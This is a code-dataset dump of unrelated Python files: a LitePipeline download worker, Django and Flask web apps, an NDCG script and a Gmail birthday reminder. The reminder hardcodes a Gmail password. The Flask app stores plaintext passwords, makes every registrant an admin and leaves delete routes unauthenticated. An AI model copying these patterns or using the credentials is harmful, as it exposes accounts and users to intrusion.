LitePipelineClient(self.config[\"manager_http_host\"],\n self.config[\"manager_http_port\"],\n user = self.config[\"manager_user\"],\n password = self.config[\"manager_password\"])\n while not self.stopped():\n try:\n success = True\n app_id = TasksCache.get()\n if app_id:\n LOG.info(\"downloading app_id: %s\", app_id)\n try:\n tmp_path = os.path.join(self.config[\"data_path\"], \"tmp\")\n r = lpl.application_download(app_id, directory = tmp_path)\n if r:\n file_path, file_type = r\n app_path = os.path.join(self.config[\"data_path\"], \"applications\", app_id[:2], app_id[2:4], app_id)\n if os.path.exists(app_path):\n shutil.rmtree(app_path)\n os.makedirs(app_path)\n shutil.copy2(file_path, os.path.join(app_path, \"app.%s\" % file_type))\n os.remove(file_path)\n if os.path.exists(os.path.join(app_path, \"app\")):\n shutil.rmtree(os.path.join(app_path, \"app\"))\n if file_type == \"tar.gz\":\n t = tarfile.open(os.path.join(app_path, \"app.tar.gz\"), \"r\")\n t.extractall(app_path)\n path_parts = splitall(t.getnames()[0])\n app_root_name = path_parts[1] if path_parts[0] == \".\" else path_parts[0]\n t.close()\n elif file_type == \"zip\":\n z = ZipFileWithPermissions(os.path.join(app_path, \"app.zip\"), \"r\")\n z.extractall(app_path)\n path_parts = splitall(z.namelist()[0])\n app_root_name = path_parts[1] if path_parts[0] == \".\" else path_parts[0]\n z.close()\n app_config_path = os.path.join(app_path, app_root_name, \"configuration.json\")\n f = open(app_config_path, \"r\")\n app_config = json.loads(f.read())\n f.close()\n venvs = set()\n for action in app_config[\"actions\"]:\n if \"env\" in action and not is_uuid(action[\"env\"]):\n venvs.add(action[\"env\"])\n for venv in list(venvs):\n venv_tar_path = os.path.join(app_path, app_root_name, \"%s.tar.gz\" % venv)\n if os.path.exists(venv_tar_path) and os.path.isfile(venv_tar_path): \n venv_path = os.path.join(app_path, app_root_name, venv)\n if os.path.exists(venv_path):\n shutil.rmtree(venv_path)\n os.makedirs(venv_path)\n t = tarfile.open(venv_tar_path, \"r\")\n t.extractall(venv_path)\n t.close()\n update_venv_cfg(venv_path)\n else: # lose venv file\n success = False\n TasksCache.update(app_id, {\"type\": \"error\", \"code\": r.status_code, \"message\": \"invalid application[%s] format\" % app_id, \"result\": \"invalid application[%s] format\" % app_id})\n LOG.warning(\"invalid application[%s] format status: %s\", app_id, r.status_code)\n break\n os.rename(os.path.join(app_path, app_root_name), os.path.join(app_path, \"app\"))\n if success:\n TasksCache.remove(app_id)\n except OperationFailedError as e:\n TasksCache.update(app_id, {\"type\": \"error\", \"code\": 400, \"message\": \"download application[%s] failed\" % app_id, \"result\": e})\n LOG.warning(\"download[%s] message: %s\", app_id, e)\n else:\n time.sleep(0.5)\n except Exception as e:\n LOG.exception(e)\n except Exception as e:\n LOG.exception(e)\n LOG.info(\"Worker(%03d) exit\", self.pid)\n\n\nclass Manager(Process):\n def __init__(self, pipe_client, worker_num, config):\n Process.__init__(self)\n self.pipe_client = pipe_client\n self.worker_num = worker_num\n self.config = config\n\n def run(self):\n logger.config_logging(file_name = \"apps_manager.log\",\n log_level = \"NOSET\",\n dir_name = self.config[\"log_path\"],\n when = \"D\",\n interval = 1,\n max_size = 20,\n backup_count = 5,\n console = True)\n LOG = logging.getLogger(\"manager\")\n\n def sig_handler(sig, frame):\n LOG.warning(\"sig_handler Caught signal: %s\", sig)\n\n LOG.info(\"Manager start\")\n try:\n signal.signal(signal.SIGTERM, sig_handler)\n signal.signal(signal.SIGINT, sig_handler)\n\n threads = []\n for i in range(self.worker_num):\n t = WorkerThread(i, self.config)\n t.start()\n threads.append(t)\n\n lpl = LitePipelineClient(self.config[\"manager_http_host\"],\n self.config[\"manager_http_port\"],\n user = self.config[\"manager_user\"],\n password = self.config[\"manager_password\"])\n\n while True:\n LOG.debug(\"Manager main loop\")\n command, app_id = self.pipe_client.recv()\n if command == Command.check_app:\n ready = False\n try:\n LOG.debug(\"check app, app_id: %s\", app_id)\n r = lpl.application_info(app_id)\n if r and \"app_info\" in r:\n app_info = r[\"app_info\"]\n app_base_path = os.path.join(self.config[\"data_path\"], \"applications\", app_id[:2], app_id[2:4], app_id)\n app_tar_path = os.path.join(app_base_path, \"app.tar.gz\")\n app_zip_path = os.path.join(app_base_path, \"app.zip\")\n app_path = os.path.join(app_base_path, \"app\")\n # check app.tar.gz\n if os.path.exists(app_tar_path) and os.path.isfile(app_tar_path):\n if app_info[\"sha1\"] != file_sha1sum(app_tar_path):\n # download app.tar.gz && extract app.tar.gz\n pass\n else:\n if not os.path.exists(app_path):\n # extract app.tar.gz\n pass\n else:\n ready = True\n # check app.zip\n if os.path.exists(app_zip_path) and os.path.isfile(app_zip_path):\n if app_info[\"sha1\"] != file_sha1sum(app_zip_path):\n # download app.zip && extract app.zip\n pass\n else:\n if not os.path.exists(app_path):\n # extract app.tar.gz\n pass\n else:\n ready = True\n # download app.tar.gz && extract app.tar.gz\n if ready:\n status = TasksCache.peek(app_id)\n if status is not None:\n ready = False\n else:\n status = TasksCache.peek(app_id)\n if isinstance(status, dict):\n ready = status\n TasksCache.remove(app_id)\n elif status is None:\n TasksCache.set(app_id)\n except Exception as e:\n LOG.exception(e)\n ready = {\"type\": \"error\", \"message\": \"get app[%s] info failed: %s\" % (app_id, str(e))}\n self.pipe_client.send((command, ready))\n elif command == Command.exit:\n for t in threads:\n t.stop()\n break\n for t in threads:\n t.join()\n except Exception as e:\n LOG.exception(e)\n LOG.info(\"Manager exit\")\n\n\nclass ManagerClient(object):\n process_list = []\n process_dict = {}\n write_lock = locks.Lock()\n _instance = None\n\n def __init__(self, worker_num = 1):\n if ManagerClient._instance is None:\n self.worker_num = worker_num if worker_num > 0 else 1\n LOG.debug(\"ManagerClient, worker_num: %s\", self.worker_num)\n pipe_master, pipe_client = Pipe()\n p = Manager(pipe_client, self.worker_num, CONFIG)\n p.daemon = True\n ManagerClient.process_list.append(p)\n ManagerClient.process_dict[\"manager\"] = [p, pipe_master]\n p.start()\n ManagerClient._instance = self\n else:\n self.worker_num = ManagerClient._instance.worker_num\n\n @gen.coroutine\n def check_app(self, app_id):\n result = False\n LOG.debug(\"start check app, app_id: %s\", app_id)\n with (yield ManagerClient.write_lock.acquire()):\n LOG.debug(\"get check app lock, app_id: %s\", app_id)\n ManagerClient.process_dict[\"manager\"][1].send((Command.check_app, app_id))\n LOG.debug(\"send check app, app_id: %s\", app_id)\n while not ManagerClient.process_dict[\"manager\"][1].poll():\n yield gen.moment\n LOG.debug(\"recv check app, app_id: %s\", app_id)\n r = ManagerClient.process_dict[\"manager\"][1].recv()\n LOG.debug(\"end check app, app_id: %s, r: %s\", app_id, r)\n if r[1]:\n result = r[1]\n raise gen.Return(result)\n\n def close(self):\n try:\n LOG.info(\"close ManagerClient\")\n ManagerClient.process_dict[\"manager\"][1].send((Command.exit, None))\n for p in ManagerClient.process_list[1:]:\n p.terminate()\n for p in ManagerClient.process_list:\n while p.is_alive():\n time.sleep(0.5)\n LOG.debug(\"sleep 0.5 second\")\n LOG.info(\"All Process Exit!\")\n except Exception as e:\n LOG.exception(e)\n","sub_path":"litepipeline/litepipeline/node/utils/apps_manager.py","file_name":"apps_manager.py","file_ext":"py","file_size_in_byte":14094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"617144389","text":"from django.shortcuts import render,redirect\nfrom .models import Dashbooard\nfrom .form import *\nfrom django.core.mail import send_mail\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.conf import settings\nfrom django.template.loader import render_to_string, get_template\nfrom django.template import Context\nfrom django.contrib import messages\t\nfrom django.http import *\n# Create your views here.\ndef interviewbroadcast(request):\n if request.method == 'GET':\n obj = dashbordform()\n return render(request,'addcompany.html',{'obj':obj})\n else:\n obj1 = dashbordform(request.POST)\n obj1.save()\n messages.info(request, 'Company Added Successfully')\n return redirect('/display/')\n\n\n\n\n\ndef update(request,id):\n if request.method == 'GET':\n obj1 = Dashbooard.objects.get(id = id)\n form = dashbordform(instance=obj1)\n data = {}\n data ['form'] = form\n return render(request,'update.html',data)\n else:\n obj2 = Dashbooard.objects.get(id = id)\n obj = dashbordform(request.POST,instance=obj2)\n obj.save()\n return redirect('/display/')\n\n\ndef display(request):\n ur = popupuser.objects.all()\n listing = Dashbooard.objects.all()\n if request.method == 'GET':\n un = popupuserform()\n data={'listing':listing,'un':un}\n return render(request,'list.html',data)\n else:\n obj = popupuserform(request.POST)\n if obj.is_valid():\n name = obj.cleaned_data['name']\n to = obj.cleaned_data['emailid']\n subject = obj.cleaned_data['subject']\n obj.save()\n htmly = get_template('sendingfile.html')\n data1 = {'listing':listing,'ur':ur}\n html_content = htmly.render(data1)\n try: \n msg = EmailMultiAlternatives(subject, html_content, settings.EMAIL_HOST_USER, [to])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n except:\n return HttpResponse('user is not valid')\n return redirect('/display/')\n\n\n# def check(request):\n# obj1 = Dashbooard.objects.get(id=id)\n# return render(request,'sendingfile.html',{'obj1':obj1})\n\ndef Delete(request, id):\n dsh = Dashbooard.objects.get(id=id)\n dsh.delete()\n return redirect('/display/')\n\n# def mailsend(request,id):\n# obj = dashbooard.objects.get(id = id)\n# form = popupuserform(request.POST)\n# subject = 'my email'\n# msg = get_template('sendingfile.html').render({'obj':obj})\n# to = form.cleaned_data['emailid']\n# res=send_mail(subject,msg,settings.EMAIL_HOST_USER,[to])\n# if res == 1:\n# msg = 'sent'\n# else:\n# msg = 'not sent'\n# return render(request,'sendingfile.html',{'obj':obj})\n\n\ndef mailsend(request,id):\n if request.method == 'GET':\n un = popupuserform()\n data={'un':un}\n return render(request,'list.html',data)\n else:\n obj = popupuserform(request.POST)\n if obj.is_valid():\n name = obj.cleaned_data['name']\n to = obj.cleaned_data['emailid']\n subject = obj.cleaned_data['subject']\n obj.save()\n try:\n res=send_mail(subject,name,settings.EMAIL_HOST_USER,[to])\n except:\n return HttpResponse('user is not valid')\n return redirect('/display/')\n\n\n\n# def popup(request):\n# if request.method == 'GET':\n# un = popupuserform()\n# return render(request,'list.html',{'un':un})\n# else:\n# obj1 = popupuserform(request.POST)\n# obj1.save()\n# messages.info(request, 'Send Successfully')\n# return redirect('/display/')","sub_path":"Nerdgeed/nerd/apps/interview_broadcast/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"100171282","text":"from django.test import TestCase\nfrom .forms import FormSavedException\nfrom .views import MyMultiFormTemplateView4, MyMultiFormTemplateView3\n\n\nclass AppTestCase(TestCase):\n\n def test_save(self):\n with self.assertRaises(FormSavedException) as err:\n r = self.client.post(\n '/decoratorview3/6',\n data={\n 'field1': '1',\n 'field2': 'a',\n 'formtype': 'form1_ctx'\n }\n )\n\n def test_checks(self):\n r = self.client.post(\n '/decoratorview/1',\n data={\n 'field1': '1',\n 'field2': 'a',\n 'formtype': 'form1_ctx'\n }\n )\n self.assertEqual(\n r.status_code, 403\n )\n self.assertEqual(\n b'loginplease', r.content,\n )\n\n def test_checks2(self):\n r = self.client.post(\n '/decoratorview2/5',\n data={\n 'field1': '1',\n 'field2': 'a',\n 'formtype': 'form1_ctx'\n }\n )\n self.assertEqual(\n r.status_code, 408\n )\n self.assertNotEqual(\n b'loginplease', r.content,\n )\n\n def test_multiclass_post(self):\n r = self.client.post(\n '/view4/5',\n data={\n 'field1': '1',\n 'field2': 'a',\n 'zxc': 'form4_ctx'\n }\n )\n self.assertEqual(\n r.status_code, 200\n )\n\n r = self.client.post(\n '/view4/5',\n data={\n 'field1': '1',\n 'field2': 'a',\n 'zxc': 'form2_ctx'\n }\n )\n self.assertEqual(\n r.status_code, 400\n )\n\n r = self.client.post(\n '/view4/5',\n data={\n 'field1': '1',\n 'field2': 'a',\n 'zxc': 'form1_ctx'\n }\n )\n self.assertEqual(\n r.status_code, 200\n )\n\n def test_multiclass(self):\n\n view = MyMultiFormTemplateView3()\n desired = {\n 'form3_ctx': {\n },\n 'form1_ctx': {\n },\n 'form2_ctx': {\n },\n }\n self.assertEqual(\n view.multiforms.keys(),\n desired.keys(),\n )\n\n view = MyMultiFormTemplateView4()\n print(view.multiforms)\n desired = {\n 'form1_ctx': {\n },\n 'form4_ctx': {\n },\n }\n self.assertEqual(\n view.multiforms.keys(),\n desired.keys(),\n )\n\n def test_render_1(self):\n r = self.client.get('/')\n self.assertEqual(\n r.status_code, 404\n )\n r = self.client.get('/1')\n self.assertEqual(\n r.status_code, 200\n )\n self.assertIn(\n b'
  • This field is required',\n r.content,\n )\n\n def test_render_2(self):\n r = self.client.get('/test')\n self.assertEqual(\n r.status_code, 200\n )\n self.assertIn(\n b' 0 and val['role']=='member':\n session['login'] = True\n return redirect(url_for('memberDashboard'))\n elif user > 0 and val['role']=='admin':\n session['login'] = True\n return redirect(url_for('newEvent'))\n else:\n return render_template('login.html')\n return render_template('login.html')\n\n\n\n\n\n\n@app.route('/home', methods=['GET','POST'])\ndef memberDashboard():\n if session['login'] == True:\n findUsr = mongo.db.users.find_one({'username':session['username']})\n print(findUsr['username'])\n events= mongo.db.events.find({})\n return render_template('user/index.html',event=events)\n elif session['login'] == False:\n return redirect(url_for('login'))\n else:\n return redirect(url_for('login'))\n\n\n\n\n\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef registMember():\n data = request.form\n today = str(date.today())\n allEdt = mongo.db.users.count({})\n aut = allEdt + 1\n autic = 'USR'+str(aut)\n if request.form:\n userid = autic\n name = data['nama']\n email = data['email']\n username = data['username']\n password = data['password']\n noHp = data['nohp']\n jk = data['gender']\n alamat = data['alamat']\n sekolah = data['sekolah']\n role = 'admin'\n newUser = mongo.db.users.insert({\n '_id':userid,\n 'foto':'default.jpg',\n 'nama':name,\n 'email':email,\n 'username':username,\n 'password':password,\n 'noHp':noHp,\n 'gender':jk,\n 'alamat':alamat,\n 'sekolah':sekolah,\n 'role':role,\n 'verified':False,\n 'createdAt':today,\n 'updatedAt':today,\n 'deleted':False\n })\n if newUser and request.method=='POST':\n return 'Success!'\n else:\n return 'Error!'\n return render_template('register.html')\n\n\n\n\n\n@app.route('/profile', methods=['GET','POST'])\ndef profMem():\n return render_template('user/profile.html')\n # prof = mongo.db.users.find({''})\n\n\n\n\n\n\n\n\n@app.route('/logout')\ndef logout():\n # remove the username from the session if it is there\n session.pop('login', False)\n return redirect(url_for('login'))\n\n\n\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n\n@app.route('/new/event', methods=['GET', 'POST'])\ndef newEvent():\n if session['login'] == True:\n events= mongo.db.events.find({})\n data = request.form\n today = str(date.today())\n allEdt = mongo.db.events.count({})\n aut = allEdt + 1\n autic = 'EVNT'+str(aut)\n if request.form:\n eventId = autic\n name = data['eventName']\n if 'image' not in request.files:\n flash('No file part')\n return redirect(request.url)\n file = request.files['image']\n # if user does not select file, browser also\n # submit a empty part without filename\n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n desc = data['deskripsi']\n ctgr = data['categori']\n prmtr = data['promotor']\n mulai = data['waktuMulai']\n mulaidaftar = data['mulaiDaftar']\n akhir = data['tutupDaftar']\n service = data['service']\n biaya = data['biaya']\n if request.method=='POST':\n NewEvent = mongo.db.events.insert({\n '_id':eventId,\n 'name':name,\n 'foto':file.filename,\n 'desc':desc,\n 'categori':ctgr,\n 'service':service,\n 'promotor':prmtr,\n 'tanggalMulai':mulai,\n 'openReg':mulaidaftar,\n 'closeReg':akhir,\n 'biaya':biaya,\n 'createdAt':today,\n 'updatedAt':today,\n 'delete':False\n })\n return redirect(url_for('newEvent'))\n else:\n return 'Error 404'\n allEvnt= mongo.db.events.find({})\n return render_template('admin/newEvent.html',event=allEvnt)\n elif session['login'] == False:\n return redirect(url_for('login'))\n else:\n return redirect(url_for('login'))\n \n\n\n\n\n\n#\n@app.route('/detail/',methods=['POST','GET'])\ndef detEvnt(idevnt):\n if session['login'] == True:\n evnt = mongo.db.events.find_one({'_id':idevnt})\n return render_template('user/detailEvent.html', event=evnt)\n elif session['login'] == False:\n return redirect(url_for('login'))\n else:\n return redirect(url_for('login'))\n \n\n\n\n\n\n\n\n#\n@app.route('/jadwal/event', methods=['POST','GET'])\ndef jadEvnt():\n if session['login'] == True:\n jevent= mongo.db.transaction.find({'userid':session['iduser']})\n return render_template('user/jadwalevent.html',data=jevent)\n elif session['login'] == False:\n return redirect(url_for('login'))\n else:\n return redirect(url_for('login'))\n \n\n\n\n\n\n\n\n@app.route('/delete/event/<_id>/',methods=['GET','DELETE'])\ndef deletEvnt(_id,name):\n mongo.db.events.remove({'_id':_id,'name':name})\n return redirect(url_for('newEvent'))\n \n\n\n\n\n@app.route('/delete/jadwal/<_id>/',methods=['GET','DELETE'])\ndef deletJdwl(_id,name):\n mongo.db.transaction.remove({'_id':_id,'eventid':name})\n return redirect(url_for('jadEvnt'))\n\n\n\n\n@app.route('/register/event/', methods=['GET','POST'])\ndef regEvent(eventid):\n allEdt = mongo.db.transaction.count()\n today = str(date.today())\n aut = allEdt + 1\n autic = 'TRC'+str(aut)\n event = mongo.db.events.find_one({'_id':eventid})\n user = mongo.db.users.find_one({'_id':session['iduser']})\n print(user)\n reg = mongo.db.transaction.insert({\n '_id':autic,\n 'userid':user['_id'],\n 'eventid':eventid,\n 'img':event['foto'],\n 'namaEvent':event['name'],\n 'categori':event['categori'],\n 'email':user['email'],\n 'nama':user['nama'],\n 'sekolah':user['sekolah'],\n 'biaya':event['biaya'],\n 'lunas':'proses',\n 'verified':False,\n 'createdAt':today,\n 'updatedAt':today,\n 'delete':False\n })\n\n return redirect(url_for('jadEvnt'))\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"258809115","text":"from sklearn.metrics import ndcg_score\nimport glob\nfrom collections import Counter\nimport numpy as np\n\noriginal_files = glob.glob(\"log/pretrained_model_tf1.2.1/decode_test_400maxenc_1beam_10mindec_120maxdec_ckpt-238410/decoded/*.txt\")\ngrammar_files = glob.glob(\"log/grammar/decode_test_400maxenc_1beam_10mindec_120maxdec_ckpt-238410/decoded/*.txt\")\nsyntax_files = glob.glob(\"log/syntax/decode_test_400maxenc_1beam_10mindec_120maxdec_ckpt-238410/decoded/*.txt\")\nsemantic_files = glob.glob(\"log/semantic/decode_test_400maxenc_1beam_10mindec_120maxdec_ckpt-238410/decoded/*.txt\")\nlead3_files = glob.glob(\"log/lead3/decode_test_400maxenc_1beam_10mindec_120maxdec_ckpt-238410/decoded/*.txt\")\nirrelevant_files = glob.glob(\"log/irrelevant/decode_test_400maxenc_1beam_10mindec_120maxdec_ckpt-238410/decoded/*.txt\")\n\noriginal_score, grammar_score, syntax_score, semantic_score, lead3_score, irrelevant_score = [], [], [], [], [], []\n\nfor f in sorted(original_files):\n original_score.append(float(open(f).readlines()[-1]))\nfor f in sorted(grammar_files):\n grammar_score.append(float(open(f).readlines()[-1]))\nfor f in sorted(syntax_files):\n syntax_score.append(float(open(f).readlines()[-1]))\nfor f in sorted(semantic_files):\n semantic_score.append(float(open(f).readlines()[-1]))\nfor f in sorted(lead3_files):\n lead3_score.append(float(open(f).readlines()[-1]))\nfor f in sorted(irrelevant_files):\n score = float(open(f).readlines()[-1])\n if score == float(\"-inf\"):\n irrelevant_score.append(-100)\n else:\n irrelevant_score.append(score)\n\nprint(\"PTGEN\")\n\n\nprint(\"original-irrelevant\")\nndcg_total = ndcg_score([[10,0]]*len(original_score),list(zip(original_score, irrelevant_score)))\nprint(ndcg_total)\n\nprint(\"original-lead3\")\nndcg_total = ndcg_score([[10,3]]*len(original_score),list(zip(original_score, lead3_score)))\nprint(ndcg_total)\n\nprint(\"original-lead3-irrelevant\")\nndcg_total = ndcg_score([[10,3,0]]*len(original_score),list(zip(original_score,lead3_score, irrelevant_score)))\nprint(ndcg_total)\n\nprint(\"original-grammar-syntax-semantic\")\nndcg_total = ndcg_score([[10,9,3,1]]*len(original_score),list(zip(original_score,grammar_score,syntax_score, semantic_score)))\nprint(ndcg_total)\n\nprint(\"original-grammar-syntax-semantic-irrelevant\")\nndcg_total = ndcg_score([[10,9,3,1,0]]*len(original_score),list(zip(original_score,grammar_score,syntax_score, semantic_score, irrelevant_score)))\nprint(ndcg_total)\n\n\n\n# get the proportion of each different rankings\nrankings = []\nfor i in range(len(original_score)):\n score_dict = {'original':original_score[i], 'grammar':grammar_score[i], 'syntax':syntax_score[i],'semantic':semantic_score[i]}\n sorted_score = sorted(score_dict.items(), key=lambda x: x[1], reverse=True)\n rankings.append([i[0] for i in sorted_score])\n\nrankings = [r[0]+'-'+r[1]+'-'+r[2]+'-'+r[3] for r in rankings]\nprint(Counter(rankings))\n\n\n\n\n","sub_path":"compute_ndcg.py","file_name":"compute_ndcg.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"229876932","text":"import time\r\nimport smtplib\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nbirthdayFile = '/home/ec2-user/birthdayreminder'\r\n\r\ndef checkTodaysBirthdays():\r\n fileName = open(birthdayFile, 'r') \r\n today = time.strftime('%m%d') \r\n flag = 0 \r\n for line in fileName:\r\n if today in line:\r\n line = line.split(' ') \r\n firstname = line[1] \r\n secondname = line[2] \r\n flag = 1 \r\n emailcontent = 'Todays Birthday ' + firstname + ' ' + secondname\r\n fromaddr = \"vinothemailbox@gmail.com\"\r\n toaddr = \"vinothemailbox@gmail.com\"\r\n msg = MIMEMultipart()\r\n msg['From'] = fromaddr\r\n msg['To'] = toaddr\r\n msg['Subject'] = \"Birthday Today\"\r\n body = emailcontent\r\n msg.attach(MIMEText(body, 'plain'))\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n server.login(\"vinothemailbox@gmail.com\", \"sarojini_58\")\r\n text = msg.as_string()\r\n server.sendmail(fromaddr, toaddr, text)\r\n server.quit() \r\n if flag == 0:\r\n \t server = smtplib.SMTP('smtp.gmail.com', 587)\r\n \t server.ehlo()\r\n \t server.starttls()\r\n \t server.login(\"vinothemailbox@gmail.com\", \"sarojini_58\")\r\n \t nmsg = 'No Birthdays Today'\r\n \t fromaddr = \"vinothemailbox@gmail.com\"\r\n \t toaddr = \"vinothemailbox@gmail.com\"\r\n \t msg = MIMEMultipart()\r\n \t msg['From'] = fromaddr\r\n \t msg['To'] = toaddr\r\n \t msg['Subject'] = \"Birthday Today\"\r\n \t body = nmsg\r\n \t msg.attach(MIMEText(body, 'plain'))\r\n \t text = msg.as_string()\r\n \t server.sendmail(fromaddr, toaddr, text)\r\n \t server.quit()\r\n \r\n\r\nif __name__ == '__main__':\r\n checkTodaysBirthdays()","sub_path":"BirthdayReminderEmail.py","file_name":"BirthdayReminderEmail.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"40377565","text":"from sqlalchemy import and_\n\nfrom datamodel.connection_info import ConnectionInfo\nfrom datamodel.user import User\n\n\n__author__ = 'amen'\nimport random\nimport dbconfig\nimport BackEndEnvData\n\ndef GenSession():\n str = ''\n chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'\n length = len(chars) - 1\n for i in xrange(15):\n str+=chars[random.randint(0, length)]\n return str\n\ndef CheckSession(level=0):\n def shell(func):\n def warp(*args,**kwargs):\n with dbconfig.Session() as session:\n cinfo=session.query(ConnectionInfo).filter(and_(ConnectionInfo.connection_id==BackEndEnvData.connection_id,\n ConnectionInfo.queue_id==BackEndEnvData.reply_queue)).first()\n if cinfo is None:\n return {\"errno\":1,\"error\":\"session.start not called\",\"result\":{}}\n BackEndEnvData.uid=cinfo.uid\n if level>0:\n uinfo=session.query(User).filter(User.uid==BackEndEnvData.uid).first()\n if max(uinfo.actor_level,uinfo.active_level) creating model \\'{}\\''.format(arch_name))\n model = models.__dict__[opt.arch](data=opt.dataset, num_layers=opt.layers,\n width_mult=opt.width_mult, batch_norm=opt.bn,\n drop_rate=opt.drop_rate)\n\n if model is None:\n print('==> unavailable model parameters!! exit...\\n')\n exit()\n\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(model.parameters(), lr=opt.lr,\n momentum=opt.momentum, weight_decay=opt.weight_decay,\n nesterov=True)\n start_epoch = 0\n n_retrain = 0\n\n if opt.cuda:\n torch.cuda.set_device(opt.gpuids[0])\n with torch.cuda.device(opt.gpuids[0]):\n model = model.cuda()\n criterion = criterion.cuda()\n model = nn.DataParallel(model, device_ids=opt.gpuids,\n output_device=opt.gpuids[0])\n cudnn.benchmark = True\n\n # checkpoint file\n ckpt_dir = pathlib.Path('checkpoint')\n ckpt_file = ckpt_dir / arch_name / opt.dataset / opt.ckpt\n\n # for resuming training\n if opt.resume:\n if isfile(ckpt_file):\n print('==> Loading Checkpoint \\'{}\\''.format(opt.ckpt))\n checkpoint = load_model(model, ckpt_file,\n main_gpu=opt.gpuids[0], use_cuda=opt.cuda)\n\n start_epoch = checkpoint['epoch']\n optimizer.load_state_dict(checkpoint['optimizer'])\n\n print('==> Loaded Checkpoint \\'{}\\' (epoch {})'.format(\n opt.ckpt, start_epoch))\n else:\n print('==> no checkpoint found \\'{}\\''.format(\n opt.ckpt))\n exit()\n\n # Data loading\n print('==> Load data..')\n start_time = time.time()\n train_loader, val_loader = DataLoader(opt.batch_size, opt.workers,\n opt.dataset, opt.datapath,\n opt.cuda)\n elapsed_time = time.time() - start_time\n print('===> Data loading time: {:,}m {:.2f}s'.format(\n int(elapsed_time//60), elapsed_time%60))\n print('===> Data loaded..')\n\n # for evaluation\n if opt.evaluate:\n if isfile(ckpt_file):\n print('==> Loading Checkpoint \\'{}\\''.format(opt.ckpt))\n checkpoint = load_model(model, ckpt_file,\n main_gpu=opt.gpuids[0], use_cuda=opt.cuda)\n epoch = checkpoint['epoch']\n # logging at sacred\n ex.log_scalar('best_epoch', epoch)\n\n if opt.new:\n # logging at sacred\n ex.log_scalar('version', checkpoint['version'])\n if checkpoint['version'] in ['v2q', 'v2qq', 'v2f']:\n ex.log_scalar('epsilon', opt.epsilon)\n\n print('===> Change indices to weights..')\n idxtoweight(opt, model, checkpoint['idx'], checkpoint['version'])\n\n print('==> Loaded Checkpoint \\'{}\\' (epoch {})'.format(\n opt.ckpt, epoch))\n\n # evaluate on validation set\n print('\\n===> [ Evaluation ]')\n start_time = time.time()\n acc1, acc5 = validate(opt, val_loader, None, model, criterion)\n elapsed_time = time.time() - start_time\n acc1 = round(acc1.item(), 4)\n acc5 = round(acc5.item(), 4)\n ckpt_name = '{}-{}-{}'.format(arch_name, opt.dataset, opt.ckpt[:-4])\n save_eval([ckpt_name, acc1, acc5])\n print('====> {:.2f} seconds to evaluate this model\\n'.format(\n elapsed_time))\n return acc1\n else:\n print('==> no checkpoint found \\'{}\\''.format(\n opt.ckpt))\n exit()\n\n # for retraining\n if opt.retrain:\n if isfile(ckpt_file):\n print('==> Loading Checkpoint \\'{}\\''.format(opt.ckpt))\n checkpoint = load_model(model, ckpt_file,\n main_gpu=opt.gpuids[0], use_cuda=opt.cuda)\n try:\n n_retrain = checkpoint['n_retrain'] + 1\n except:\n n_retrain = 1\n\n # logging at sacred\n ex.log_scalar('n_retrain', n_retrain)\n\n if opt.new:\n if opt.version != checkpoint['version']:\n print('version argument is different with saved checkpoint version!!')\n exit()\n\n # logging at sacred\n ex.log_scalar('version', checkpoint['version'])\n if checkpoint['version'] in ['v2q', 'v2qq', 'v2f']:\n ex.log_scalar('epsilon', opt.epsilon)\n\n print('===> Change indices to weights..')\n idxtoweight(opt, model, checkpoint['idx'], opt.version)\n\n print('==> Loaded Checkpoint \\'{}\\' (epoch {})'.format(\n opt.ckpt, checkpoint['epoch']))\n else:\n print('==> no checkpoint found \\'{}\\''.format(\n opt.ckpt))\n exit()\n\n # train...\n best_acc1 = 0.0\n train_time = 0.0\n validate_time = 0.0\n extra_time = 0.0\n for epoch in range(start_epoch, opt.epochs):\n adjust_learning_rate(optimizer, epoch, opt)\n train_info = '\\n==> {}/{} '.format(arch_name, opt.dataset)\n if opt.new:\n train_info += 'new_{} '.format(opt.version)\n if opt.version in ['v2q', 'v2qq', 'v2f']:\n train_info += 'a{}b{}bit '.format(opt.quant_bit_a, opt.quant_bit_b)\n elif opt.version in ['v2qnb', 'v2qqnb']:\n train_info += 'a{}bit '.format(opt.quant_bit_a)\n if opt.version in ['v2qq', 'v2f', 'v2qqnb']:\n train_info += 'w{}bit '.format(opt.quant_bit)\n else:\n if opt.quant:\n train_info += '{}bit '.format(opt.quant_bit)\n if opt.retrain:\n train_info += '{}-th re'.format(n_retrain)\n train_info += 'training'\n if opt.new:\n train_info += '\\n==> Version: {} '.format(opt.version)\n if opt.tv_loss:\n train_info += 'with TV loss '\n if opt.ortho_loss:\n train_info += 'with Orthogonal loss '\n if opt.cor_loss:\n train_info += 'with Correlation loss '\n if opt.ortho_cor_loss:\n train_info += 'with Ortho-Correlation loss '\n if opt.groupcor_loss:\n train_info += 'with Grouped Correlation loss '\n train_info += '/ SaveEpoch: {}'.format(opt.save_epoch)\n if epoch < opt.warmup_epoch and opt.version.find('v2') != -1:\n train_info += '\\n==> V2 Warmup epochs up to {} epochs'.format(\n 